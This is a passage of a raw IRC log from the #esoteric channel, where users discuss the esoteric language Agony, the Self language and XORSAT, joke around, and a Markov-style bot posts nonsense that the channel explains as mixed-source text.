:olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :it broke (how?) and I guess it's still broken because it hasn't been made to join us yet < 1395276175 986520 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :maybe fungot knows? < 1395276176 100709 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :olsner: ( c) a player resigns from an office has whatever duties, then 3 extra " 0" and ( down-from n ( 0), ( n+n/ fnord/ fnord, that seemed, in fine, i can verify it < 1395276383 402724 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :probably Gregor didn't supply HackEgo with enough extra zeroes... < 1395276442 416620 :idris-ircslave!~ircslave@dslb-092-072-133-213.pools.arcor-ip.net JOIN :#esoteric < 1395276963 621642 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fungot: what do you eat? < 1395276964 93424 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: agora alice c64 ct darwin discworld europarl ff7 fisher ic irc* jargon lovecraft nethack pa speeches ss wp youtube with this jaybad... he is like the punching him? does it involve? doing it the way you would calibrate a normal. pm showed the bq a parking citation. if confronted, you will say you are only here to deliver a message and then i'll put his shit.... w.t.f lol < 1395276978 834000 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :so fungot eats his own styles. so meta... < 1395276979 260211 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: just to help an fnord archive) guitar riffs this band is metal)." fnord dixon either, man! you have a whip? why do pin is normally, when i pass. it was flown from outside, so the party, who were discussing the issue is discussed, it should be deleted, not merged. but new england flood of may, 1765, curwen's only child, it's ancient history now... < 1395277033 971549 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :That's such a mismash. < 1395277060 767717 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Curwen is from Lovecraft, the "deleted, not merged" is from Wikipedia talk pages, "it's ancient history now..." is from Chrono Trigger. < 1395277085 802254 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION admires the fizziebot. < 1395277137 774644 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1395277438 778722 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :ACTION eats boily < 1395277498 394702 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I am not comestible! I taste bad! shoo! shoo! < 1395277562 765711 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :<[.<]$$$,$[+.~}+++.~]~}{$+.~)~.~*~{{$+>+<~}~@{$~@~[{* < 1395277601 178460 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :tis agony btw :P < 1395277699 554791 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :and I now know how to pronounce the “^” in your name. < 1395277763 714576 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :wat < 1395277843 835958 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :“roy”. I assume that the “v” is the rest of it. < 1395277870 981666 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :i dont even? < 1395277945 369956 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I also assumed you created Agony. seems that my hypothesis is false. < 1395277981 440326 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :therefore, I shall still name the “^” symbol “roy”, as it sounds fitting, but will dissociate you with that name. < 1395278199 10959 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :so, royv? < 1395278265 612785 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :well, it's easier to say than “v̂”. < 1395278739 294717 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :why cant my name just be ^v < 1395278740 816853 :boily!~boily@96.127.201.149 QUIT :Quit: ĈĤÎĈK̂ÊN̂ < 1395278746 53592 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :k. < 1395278754 43215 :metasepia!~metasepia@96.127.201.149 QUIT :Remote host closed the connection < 1395279043 578855 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :im going to make a derivitve of agony < 1395279050 459646 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :with threading n shiz < 1395279119 45568 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :will make $ an expansion character < 1395279147 367743 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :giving me a whole 13 extra instructions :D < 1395279179 343019 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :er < 1395279182 391619 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :15 methinks < 1395279186 964037 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :cannot math today < 1395279290 174393 :Bike_!~Glossina@71-222-36-216.ptld.qwest.net JOIN :#esoteric < 1395279306 254215 :Bike!~Glossina@75-175-102-28.ptld.qwest.net QUIT :Disconnected by services < 1395279311 71140 :Bike_!~Glossina@71-222-36-216.ptld.qwest.net NICK :Bike < 1395280228 484936 :sebbu!~sebbu@unaffiliated/sebbu QUIT :Ping timeout: 265 seconds < 1395280431 202665 :Bike!~Glossina@71-222-36-216.ptld.qwest.net QUIT :Ping timeout: 265 seconds < 1395280585 778822 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric ::( http://www.cnn.com/2014/03/19/health/sleep-loss-brain-damage/index.html?hpt=hp_c2 < 1395280653 896795 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :you know those kinds of websites are full of shit right? < 1395280724 213834 :Bike!~Glossina@71-222-36-216.ptld.qwest.net JOIN :#esoteric < 1395280748 214897 :Bike!~Glossina@71-222-36-216.ptld.qwest.net NICK :Guest3808 < 1395280764 955884 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric ::D Bi...Guest3808 < 1395280846 999075 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Since #self-lang is too dead to answer questions about Self... < 1395280871 745384 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :maybe they didn't sleep enough < 1395280876 472924 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :For objects that contain code directly, when is that code triggered? Usually just when the object is in a slot and activated due to being in that slot? < 1395280909 475390 :Guest3808!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :i thought +i meant i was identified -_- < 1395280924 850569 :Guest3808!~Glossina@71-222-36-216.ptld.qwest.net NICK :Bike < 1395280999 715280 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :What languages have an object called lobby or something similar, that serves as some sort of starting point? < 1395281004 995482 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ala Self and (iirc) Io? < 1395281016 25109 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Or, an other object that serves a similar purpose? < 1395281050 496919 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :you're gonna have to be specificer. < 1395281115 472893 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :Bike, lol < 1395281129 371525 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :how did you not know? :O < 1395281138 982490 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :have you not made an IRC bot in brainfuck? < 1395281208 426300 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Why is Smalltalk so much more popular than Self? < 1395281267 736787 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :is smalltalk considered an eso. language? < 1395281294 526717 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :nop < 1395281334 718107 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :no, it was made for serious reasons and is used for serious reasons. < 1395281350 173483 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :Sgeo: older + why should i care about self < 1395281414 768007 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :There are some languages that are not considered eso languages, but deserve to be < 1395281451 762815 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :kmc: is C++ still your favourite esolang? < 1395281459 918949 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :nothing deserves anything < 1395281466 396330 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :all is void. < 1395281469 115953 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :anyone look at the pdf/zip file http://pocorgtfo.freshdefense.net/POCorGTFO0x02.pdf that is also an executable 386 qemu image? < 1395281476 943736 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :Bike, well then you dont deserve your bike D: < 1395281480 444554 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :lol! < 1395281483 957396 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :ACTION snatches Bike's bike < 1395281493 695715 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :you guys are some of my favorite people on irc. :) < 1395281496 592893 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :but neither do i D: < 1395281501 704846 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :ACTION lights Bike on fire < 1395281506 657635 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :my bike is me. < 1395281506 831277 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :SORRY WRONG BIKE < 1395281506 889020 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com PRIVMSG #esoteric :hahaha. < 1395281508 92617 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :rip me. < 1395281535 708258 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :favorite-irc-people achievement: unlocked < 1395281548 792577 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :newsham, incorrect < 1395281560 455313 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :you dont deserve achievements < 1395281568 41068 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :duh < 1395281589 78396 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :unless you have killed a million or more people < 1395281600 917108 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :in which case you deserve a knife < 1395281601 629635 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :lexande: maybe < 1395281602 57749 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :i'm not in favor of people killing. < 1395281645 911569 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :i am in favor of death, which awaits us all, except not me since bikes sort of just rust rather than die per se. < 1395281820 213695 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :i would prefer good things for the people who are mostly good, which is most people. < 1395281853 563886 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :especially those who have a little bit less < 1395281939 616990 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :oh no < 1395281943 927584 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :mom is home < 1395281946 428696 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :prolly drunk < 1395282026 881315 :Melvar!~melvar@dslb-092-072-133-213.pools.arcor-ip.net PRIVMSG #esoteric :< boily> well, it's easier to say than “v̂”. – Not hugely, though. < 1395283575 994907 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :very villainous vaudevillian viviferous ventriloquists < 1395283585 146293 :ion!ion@heh.fi PRIVMSG #esoteric :`coins < 1395284320 716493 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I wonder how the Self IDE compares/contrasts to Smalltalk < 1395284325 723552 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I assume no class browser in Self < 1395284868 42850 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://rosettacode.org/wiki/Self < 1395284873 190356 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :So little love.... < 1395285289 292170 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :my malbolge inturpreter is smaller than my agony inturpreter < 1395285297 610881 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :is this a sign of my mind tearing appart? < 1395287179 264833 :sebbu!~sebbu@ADijon-152-1-21-168.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1395287212 13944 :sebbu!~sebbu@ADijon-152-1-21-168.w83-194.abo.wanadoo.fr QUIT :Changing host < 1395287212 68567 :sebbu!~sebbu@unaffiliated/sebbu JOIN :#esoteric < 1395287814 458799 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395288282 613182 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395288284 505210 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395288317 743470 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395288444 975360 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 255 seconds < 1395288446 736950 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395288582 668611 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 264 seconds < 1395289228 451315 :password2!~password@197.78.133.31 JOIN :#esoteric < 1395290144 332478 :Sorella!~queen@oftn/member/Sorella QUIT :Quit: It is tiem! < 1395290593 384402 :Melvar!~melvar@dslb-092-072-133-213.pools.arcor-ip.net QUIT :Ping timeout: 240 seconds < 1395290625 612932 :Melvar!~melvar@dslb-092-072-133-213.pools.arcor-ip.net JOIN :#esoteric < 1395290641 467645 :idris-ircslave!~ircslave@dslb-092-072-133-213.pools.arcor-ip.net QUIT :Ping timeout: 240 seconds < 1395290893 946348 :weeeu!~ircap@90.174.0.170 JOIN :#esoteric < 1395291000 843172 :Sprocklem!~Sprocklem@unaffiliated/sprocklem QUIT :Remote host closed the connection < 1395292172 165814 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 246 seconds < 1395292984 555378 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1395293088 954507 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 255 seconds < 1395293510 568188 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 265 seconds < 1395293720 304516 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :ACTION stabs channel < 1395293732 391442 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :Y U NO ACTIVE < 1395293766 137533 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :i mean < 1395293766 697292 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :<[.<]$$$,$[{}{}>}{}~@~]~*{}{}>}>}{}{}~]~@+~~@~)~@>}>}{}{}{}>}{}{}{}<@@~<.@<<><}{$<*<]{$@@{$@. < 1395293794 285947 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :do not remove this tag under penaltky of law. unfair randomizer. a bias was detected in the in the in the RandInt output of matlab implementation deplyeod (sic) in intel serial machine 48888819201 but could not this be traced to the hardware PRNG. please insert coin. no anomalies were reported. do not stand down. emergency. seek mergency medical intervention now. six people are alive. a cage of banasssssssss.banans. franz fuking kafka. hello. < 1395293812 43225 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :probably people are inactive because others are saying things like Y U NO < 1395293825 562199 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :ACTION steals Bike < 1395293842 107360 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :"do not remove this tag under penaltky of law." < 1395293851 563210 :Bike!~Glossina@71-222-36-216.ptld.qwest.net QUIT :Quit: sleep < 1395293854 776479 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :good thing it isnt a penalty < 1395294324 368283 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :agony looks nice < 1395294558 553949 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Most of the time backwards compatible < 1395294561 189573 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :When is it not? < 1395294570 375591 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Well, BF 'comments' < 1395294872 334247 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395295590 174390 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :http://www.cs.utexas.edu/~wcook/Drafts/2009/essay.pdf meant to post this here < 1395296395 474179 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i am a bit confused about how much space agony has < 1395296414 553405 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :if it's cyclic, will i end at the first char if i do >? < 1395296450 477916 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Oh! So methods and non-methods are treated the same way in Self < 1395296461 585255 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Not magic. Just objects without code return themselves < 1395296527 661489 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :... (3 * 4) + 5, I was wondering how Self syntax decides that that (3 * 4) is just normal parentheses.... I'm now guessing it doesn't, it's an actual method that actually then gets evaluated? < 1395296857 559269 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :HMm, maybe a bit magic < 1395297147 470460 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :myname, its infinite iirc < 1395297191 899048 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :or thats how i have mine anyway < 1395297236 325689 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :because there is no specified limit on program size, it is infinite to the right < 1395297325 61569 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :Sgeo, its not backwards compatable when the pointer is moved back to the program in memory < 1395297396 11855 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :so <[foo] will execute foo in agony < 1395297450 971803 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :sounds painful < 1395297459 768079 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :not really < 1395297496 701817 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :i never have my BF programs go before 0 < 1395297677 828132 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395297716 118873 :glogbackup!~glogbacku@192.3.160.190 QUIT :Ping timeout: 246 seconds < 1395297836 639197 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1395297839 726381 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Ping timeout: 252 seconds < 1395298147 123637 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :anyone wana have a agony core war? < 1395298677 283855 :Slereahphone!~slereahph@80.10.159.235 JOIN :#esoteric < 1395298751 902230 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net NICK :^v < 1395300093 284746 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: Leaving < 1395301959 833167 :Slereahphone!~slereahph@80.10.159.235 QUIT :Read error: Connection reset by peer < 1395301983 394303 :Slereahphone!~slereahph@80.10.159.235 JOIN :#esoteric < 1395301995 519225 :Slereahphone!~slereahph@80.10.159.235 QUIT :Remote host closed the connection < 1395302035 374585 :Slereahphone!~slereahph@80.10.159.235 JOIN :#esoteric < 1395302096 968794 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com QUIT : < 1395302736 737888 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1395302766 674348 :heroux!~heroux@50708181.static.ziggozakelijk.nl QUIT :Ping timeout: 264 seconds < 1395302815 681050 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i like the idea, but i have to write some agony first < 1395303464 887357 :Slereahphone!~slereahph@80.10.159.235 QUIT :Remote host closed the connection < 1395303512 325663 :Slereahphone!~slereahph@80.10.159.235 JOIN :#esoteric < 1395304177 357544 :Slereahphone!~slereahph@80.10.159.235 QUIT :Ping timeout: 240 seconds < 1395304400 595159 :MoALTz!~no@user-31-174-194-235.play-internet.pl JOIN :#esoteric < 1395304674 577878 :MoALTz!~no@user-31-174-194-235.play-internet.pl QUIT :Ping timeout: 264 seconds < 1395305048 552945 :Slereahphone!~slereahph@80.10.159.103 JOIN :#esoteric < 1395305431 386651 :ion!ion@heh.fi PRIVMSG #esoteric :Hands-On: Oculus Rift Development Kit 2 http://youtu.be/4d3Wli7s6KY < 1395306024 479647 :weeeu!~ircap@90.174.0.170 QUIT :K-Lined < 1395306072 915398 :heroux!~heroux@50708181.static.ziggozakelijk.nl JOIN :#esoteric < 1395307558 285697 :MoALTz!~no@user-31-174-194-235.play-internet.pl JOIN :#esoteric < 1395307565 188187 :Slereahphone!~slereahph@80.10.159.103 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1395308650 39285 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1395309893 301735 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395310099 381304 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395310099 583104 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395310573 425144 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1395310633 436898 :drlemon_!~drlemon@cpe-108-185-0-32.socal.res.rr.com QUIT :Ping timeout: 240 seconds < 1395311884 665917 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :@missages-loid < 1395311884 810729 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :You don't have any messages < 1395312071 88755 :password2!~password@197.78.133.31 QUIT :Ping timeout: 265 seconds < 1395313096 829038 :password2!~password@197.78.133.27 JOIN :#esoteric < 1395313350 541431 :boily!~boily@96.127.201.149 QUIT :Quit:   < 1395313451 988225 :myname!~myname@84.200.43.57 QUIT :Ping timeout: 255 seconds < 1395313493 255789 :myname!~myname@84.200.43.57 JOIN :#esoteric < 1395313588 139686 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1395316082 352530 :nooodl!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1395316832 731715 :nooodl!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be QUIT :Quit: Ik ga weg < 1395316908 86012 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1395318495 565183 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Read error: Connection reset by peer < 1395318663 59450 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1395319282 8316 :applybot!~applybot@unaffiliated/jafet QUIT :Remote host closed the connection < 1395319702 146205 :applybot!~applybot@unaffiliated/jafet JOIN :#esoteric < 1395319987 103504 :copumpkin!~copumpkin@unaffiliated/copumpkin QUIT :Quit: My MacBook Pro has gone to sleep. ZZZzzz… < 1395320831 513871 :idris-ircslave!~ircslave@dslb-092-072-133-213.pools.arcor-ip.net JOIN :#esoteric < 1395324457 724772 :MoALTz!~no@user-31-174-194-235.play-internet.pl QUIT :Quit: bbl < 1395324991 923039 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 252 seconds < 1395325633 452458 :heroux!~heroux@50708181.static.ziggozakelijk.nl QUIT :Ping timeout: 240 seconds < 1395325752 44682 :heroux!~heroux@50708181.static.ziggozakelijk.nl JOIN :#esoteric < 1395325932 648408 :ion!ion@heh.fi PRIVMSG #esoteric :http://s3-ec.buzzfed.com/static/2014-03/enhanced/webdr04/18/16/original-24418-1395173816-9.jpg < 1395326638 408145 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :old news < 1395327119 458548 :password2!~password@197.78.133.27 QUIT :Ping timeout: 240 seconds < 1395327807 429253 :password2!~password@197.78.129.192 JOIN :#esoteric < 1395329543 430721 :Slereahphone!~slereahph@80.10.159.103 JOIN :#esoteric < 1395330392 544645 :Bike!~Glossina@71-222-36-216.ptld.qwest.net JOIN :#esoteric < 1395330727 154887 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1395331497 844392 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395331553 859670 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :my brain requires assistance < 1395331584 698378 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :once again :) < 1395331609 72147 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :Is it hard to solve a system of linear equations modulo 2? < 1395331653 228381 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i say yes < 1395331660 291102 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :no, it's easier than with ordinary numbers < 1395331663 545735 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395331665 493510 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395331679 787260 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :damn < 1395331721 959265 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :Like 1 = |0 - a| + |1 - b| + |0 - c| AND 1 = |0 - a| + |0 - b| AND 1 = |1 - c| < 1395331743 959875 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :you just replace real / rational numbers with the 2 element field F_2 = {0,1}, which is smaller; otherwise everything else works with matrix methods. < 1395331768 536551 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :um you know | | usually means absolute value and is _not_ linear, right? < 1395331778 991072 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh hm < 1395331790 139816 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :does that matter in F_2? < 1395331790 548286 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :oerjan: It should be linear in mod 2? < 1395331814 254202 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :mroman: um well then don't use notation that makes it look nonlinear OKAY? < 1395331834 485620 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :Ok. < 1395331835 292276 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :So. < 1395331844 88702 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :It's actually about 3-SAT < 1395331869 327716 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ah. in that case the problem you are looking at is called XORSAT. < 1395331869 428037 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :yeah since addition mod 2 is xor, not or < 1395331906 305508 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :Every (sub-)term of a 3-SAT formula defines what can't possibly be a solution < 1395331912 422148 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :there is XORSAT? < 1395331920 639573 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i just have to read about it < 1395331925 435494 :realzies!~pinky@unaffiliated/realazthat QUIT :Read error: Connection reset by peer < 1395331927 712599 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :a or b or c tells me that a=0,b=0,c=0 can't be a solution < 1395331944 516287 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :i don't think the example problem has a solution... < 1395331961 146235 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :And I sort of want to represent every (sub)term as a point in an n-dimensional Space < 1395331973 881201 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :(where n is the amount of variables) < 1395331991 640394 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :XORSAT is _not_ believed to be NP-complete, but it crushes many attempts to prove P != NP because it's so _similar_ to SAT in statistical behavior. < 1395332004 352695 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :a solution must 